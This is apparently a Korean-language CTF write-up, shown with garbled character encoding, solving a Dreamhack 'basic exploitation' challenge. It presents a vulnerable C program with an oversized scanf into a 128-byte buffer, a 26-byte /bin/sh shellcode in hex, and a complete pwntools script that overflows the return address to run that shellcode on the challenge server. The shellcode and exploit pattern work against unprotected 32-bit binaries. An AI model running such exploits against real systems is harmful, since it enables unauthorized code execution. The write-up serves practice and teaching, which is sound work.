songining
article thumbnail

pwnable ์ดˆ๋ณด์ธ ๋‚˜์—๊ฒŒ๋Š” ์–ด๋ ค์šด ๋ฌธ์ œ์˜€๋‹ค..

 

์›๊ฒฉ ์„œ๋ฒ„ ํ™˜๊ฒฝ์€ ์ด๋Ÿฌํ•˜๋‹ค

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

์šฐ์„  32bit ํ™˜๊ฒฝ์ด๊ธฐ ๋•Œ๋ฌธ์— ์Šคํƒํ”„๋ ˆ์ž„๊ตฌ์กฐ๋Š” buf(n) | sfp(4) | ret(4)  ์š”๋Ÿฌํ•˜๋‹ค.

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

์†Œ์Šค์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•ด๋ณด๋ฉด ์ผ๋‹จ ์ทจ์•ฝ์ ์„ ํ•˜๋‚˜ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ๋‹ค. 

buf์˜ ํฌ๊ธฐ๋Š” 0x80(128 byte)์ธ๋ฐ scanf๋กœ 141byte ๋งŒํผ ๋ฐ›์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ..@! ์ฆ‰ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ์ผ์–ด๋‚  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์ด๋‹ค. 

์šฐ๋ฆฌ๋Š” ์ด ์ ์„ ํ™œ์šฉํ•ด์„œ buf๋ฅผ ๋”๋ฏธ๊ฐ’์œผ๋กœ ์ฑ„์šฐ๊ณ  ret๊ฐ’์„ ์นจ๋ฒ”ํ•˜์—ฌ ์›ํ•˜๋Š” ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ฉด ๋œ๋‹ค. 

 

์šฐ๋ฆฌ๊ฐ€ ๋”๋ฏธ๊ฐ’์œผ๋กœ ์ฑ„์›Œ์•ผ ํ•˜๋Š” ๋ถ€๋ถ„์€ rbp-0x80 ๋ถ€ํ„ฐ rbp +0x04 ์ฆ‰ 0x84 = 132 byte ๋งŒํผ์ด๋‹ค. 

ํ•ด๋‹น ๋ถ€๋ถ„์€ ์‰˜์ฝ”๋“œ + ์•„๋ฌด๋ฌธ์ž๋กœ ์ฑ„์šฐ๋ฉด ๋  ๊ฒƒ์ด๋‹ค. 

 

์‚ฌ์‹ค ์‰˜์ฝ”๋“œ ์ดˆ๋ณด์ธ์ง€๋ผ ๊ธฐ๊ณ„์–ด ๋ถ€๋ถ„์€ ์—ด์‹ฌํžˆ ๊ตฌ๊ธ€๋งํ•ด๋ณด์•˜๋‹ค. 

 

scanf ์šฐํšŒ ์‰˜์ฝ”๋“œ (26byte) --> scanf์— ๋„ฃ์„ ์‰˜์ฝ”๋“œ์ธ๊ฒฝ์šฐ ํ•ด๋‹น ๊ธฐ๊ณ„์–ด๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ ๊ฐ™๋‹ค(?) (๊ธฐ๋ณธ์€ ์‰˜์ฝ”๋“œ๋Š” 25byte ๋งŽ์ด ์‚ฌ์šฉ)  

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

 

from pwn import *

p = remote('host1.dreamhack.games',22346) # ์›๊ฒฉ ์„œ๋ฒ„ ๋Œ€์ƒ์œผ๋กœ ์ต์Šคํ”Œ๋กœ์ž‡ ์ˆ˜ํ–‰
context.arch = "i386"  # x86 ์•„ํ‚คํ…์ฒ˜

p.recvuntil("buf = (")
buf_addr = int(p.recv(10),16) # ์ถœ๋ ฅ๋œ buf์˜ ์œ„์น˜ ์ €์žฅ 

payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x11" * 106

payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

26 byte๋ฅผ ์ฑ„์šฐ๊ณ  ๋‚จ์€ 132-26 = 106 ๋ฐ”์ดํŠธ๋Š” ์•„๋ฌด๊ฐ’์œผ๋กœ ์ฑ„์›Œ์ฃผ๋ฉด ๋œ๋‹ค.

๋งˆ์ง€๋ง‰์œผ๋กœ ret์— ๋“ค์–ด๊ฐˆ ๋ถ€๋ถ„์€ buf์˜ ์‹œ์ž‘์ฃผ์†Œ์ด๋‹ค. (ํŒŒ์ผ ์‹คํ–‰ ํ›„ recv๋ฅผ ํ†ตํ•ด ๋ฐ›์€)

์ด์ œ ํ”„๋กœ๊ทธ๋žจ์ด ret๊นŒ์ง€ ๊ฐ€๋ฉด buf[0]์˜ ์œ„์น˜๋กœ ์ด๋™ํ•ด์„œ ์…ธ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ๊ฒƒ์ด๋‹ค. !!! 

 

์„ฑ๊ณต!!!